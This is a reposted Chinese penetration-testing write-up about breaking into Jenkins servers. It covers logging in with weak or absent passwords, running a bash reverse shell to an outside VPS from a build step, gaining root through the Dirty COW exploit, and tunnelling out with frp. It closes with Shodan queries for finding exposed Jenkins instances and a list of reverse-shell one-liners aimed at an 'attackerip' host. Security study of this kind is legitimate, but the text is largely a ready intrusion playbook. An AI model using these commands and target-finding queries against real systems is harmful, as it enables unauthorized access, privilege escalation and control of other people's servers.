转载

Jenkins脏牛漏洞FRP内网提权

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径

0×01 概述

Jenkins是一款由Java编写的开源的持续集成工具。Jenkins提供了软件开发的持续集成服务。它运行在Servlet容器中(例如Apache Tomcat)。可以执行基于Apache Ant和Apache Maven的项目,以及任意的Shell脚本和Windows批处理命令。

Jenkins脏牛漏洞FRP内网提权

0×02 背景

在平常的渗透测试过程中,很少遇到过利用jenkins构建应用的,jenkins简单的理解为他就是一个软件,你可以通过这个软件来管理你正在开发的项目。

很多互联网上部署的jenkins服务器大部分都是弱口令,只要你能找到,基本上可以通过弱口令进去,在一次测试某个单位时,发现其有jenkins应用,同事通过弱密码(admin/admin)就直接进去了,后面通过shodan找测试环境时候,发现很多jenkins应用不需要密码就能访问构建任务页面。

登录后界面如下:

Jenkins脏牛漏洞FRP内网提权

本来不打算测试的,因为本身之前也不了解jenkins,但同事发现说可以执行命令,就去google了一下,发现网上大部分的文章都通过在“系统管理-脚本命令行”中进行提权,打算参考这个,但测试后,发现能执行命令,但是利用bash进行反弹shell的时候,公网vps未返回shell。为什么反弹不了,倒没有进行深究。

Jenkins脏牛漏洞FRP内网提权

Jenkins脏牛漏洞FRP内网提权

Jenkins脏牛漏洞FRP内网提权

因为jenkins是可以执行任意的shell脚本的,发现jenkins能执行bash命令的地方不止一处,在项目构建的时候,增加构建步骤,让项目在构建的过程中,执行我们的命令。

下面来演示一下:

0×03 演示

1、首先构建项目,点击“新建任务”。

Jenkins脏牛漏洞FRP内网提权

2、进入到构建任务界面,输入一个任务名称“test”,选择“构建一个自由风格的软件项目”。

Jenkins脏牛漏洞FRP内网提权

3、来到配置页面,直接点击保存。

Jenkins脏牛漏洞FRP内网提权

注:上面的三步是我在自己的docker环境下部署的,因为写文章的时候,客户的服务器已经下线了,为了演示整个过程,只能在自己服务器上完成之前没有截到的图片,方便大家理解,大家测试的话也可以用docker搭建。

4、返回主页面板,可以看到我们构建的项目,点击项目构建名称test。。

Jenkins脏牛漏洞FRP内网提权

5、进入工程test之后,点击左侧栏目的“配置”,进入配置页面。

Jenkins脏牛漏洞FRP内网提权

6、找到构建,在增加构建步骤的下滑栏中,选择“执行shell”。

Jenkins脏牛漏洞FRP内网提权

7、弹出如下执行shell的窗口,在这个窗口输入bash命令。

Jenkins脏牛漏洞FRP内网提权

8、bash命令如下,这是一个用来反弹shell的bash命令。X.X.X.X为远程vps服务器的IP,后接7777端口(端口可随意写)。

bash -i >& /dev/tcp/X.X.X.X/7777 0>&1

9、回到远程vps服务器,利用nc进行监听。

nc -lvp 7777

Jenkins脏牛漏洞FRP内网提权

10、之后,回到jenkins的工程界面,点击立即构建,命令就会执行

Jenkins脏牛漏洞FRP内网提权

11、通过控制台输出,可以看到bash的命令执行历史,可以看到输出,此时bash -i一直在后台运行。

Jenkins脏牛漏洞FRP内网提权

12、回到vps服务器,服务器已弹回shell。

Jenkins脏牛漏洞FRP内网提权

13、通过“whoami”命令查看当前用户,为jenkin用户,权限不足,无法执行修改密码操作。

Jenkins脏牛漏洞FRP内网提权

0×04 脏牛提权

由于是linux服务器,此时就想到了linux的脏牛提权漏洞,这里可能是运气好,刚好版本合适。。

1、首先查看linux内核版本,2.6.32,可利用脏牛漏洞提权。

Jenkins脏牛漏洞FRP内网提权

2、下载脏牛提权的poc。

下载地址: https://github.com/FireFart/dirtycow

3、编译

利用gcc编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt

4、运行dirty进行提权,dirty后接需要修改的密码。

./dirty password

Jenkins脏牛漏洞FRP内网提权

5、执行完毕之后,显示如上界面,此时查看/etc/passwd文件,发现root的用户名和密码已被修改。

Jenkins脏牛漏洞FRP内网提权

6、接下来,直接su firefart,但此时提示“standard in must be a tty”,不能执行命令,那岂不是功亏一篑?

Jenkins脏牛漏洞FRP内网提权

0×05 内网映射

由于在bash-4.1$不属于tty终端,不能直接进行用户切换,那么接下来只能把jenkins的服务器映射出来,通过xshell工具进行连接,以root身份登录。

1、frp内网穿透工具

这里利用frp内网穿透工具,frp下载及手册。

下载地址: https://github.com/fatedier/frp/blob/master/README_zh.md

注:frp作为一款内网穿透工具感觉比ngrok优越,frp配置简单,最重要的是开源。

2、客户端配置(被攻击者机器)

客户端只需配置frpc.ini文件(frpc.ini文件得事先准备好,然后在客户端通过wget进行下载,我的方式是把frpc.ini文件先上传到github,就不需要自己搭建服务器了),内容如下,主要是server_addr填写vps服务器地址,remote_port是当你要用xshell连接时用到的外部端口,其他的可以默认设置。

Jenkins脏牛漏洞FRP内网提权

3、设置客户端frp后台运行

客户端设置frp在后台运行,我这里用的是nohup,如果nohup不行,可以使用screen。

nohup ./frpc -c ./frpc.ini &

如果使用screen,那么下面是基础用法:

screen用法:

screen -S 会话名称:即可打开一个新建窗口,然后输入./frpc -c ./frpc.ini

screen -S mcs0810

./frpc -c ./frpc.ini

4、服务器端配置。

服务器端只需配置frps.ini文件,内容如下:

Jenkins脏牛漏洞FRP内网提权

5、服务器端frp配置后台运行

nohup ./frpc -c ./frpc.ini &

6、开始连接

所有东西运行完毕后,只需通过ssh vps:6000访问即可。

Jenkins脏牛漏洞FRP内网提权

7、登陆成功。

输入之前利用脏牛漏洞获取的root账号和密码,即可成功登录。

0×06 写在最后

1、如何去寻找jenkins服务器呢?

大家可以shodan去搜索,通过如下语法。

html:"Dashboard Jenkins"

"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"

Jenkins脏牛漏洞FRP内网提权

2、bash下反弹shell的其他命令。

客户端执行:

# bash -i >& /dev/tcp/attackerip/443 0>&1
# /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
# /bin/bash -i > /dev/tcp/attackerip/443 0<&1 2>&1
# exec 5<>/dev/tcp/attackerip/7777 cat <&5 | while read line; do $line 2>&5 >&5; done
# exec 5<>/dev/tcp/192.168.47.154/7777;cat <&5 | while read line; do $line 2>&5 >&5; done

注:attackerip为攻击者的ip

服务器监听:

nc -lvp 7777

*本文原创作者:砂川诚,本文属于FreeBuf原创奖励计划,未经许可禁止转载

原文  https://www.freebuf.com/articles/web/215183.html
正文到此结束
Loading...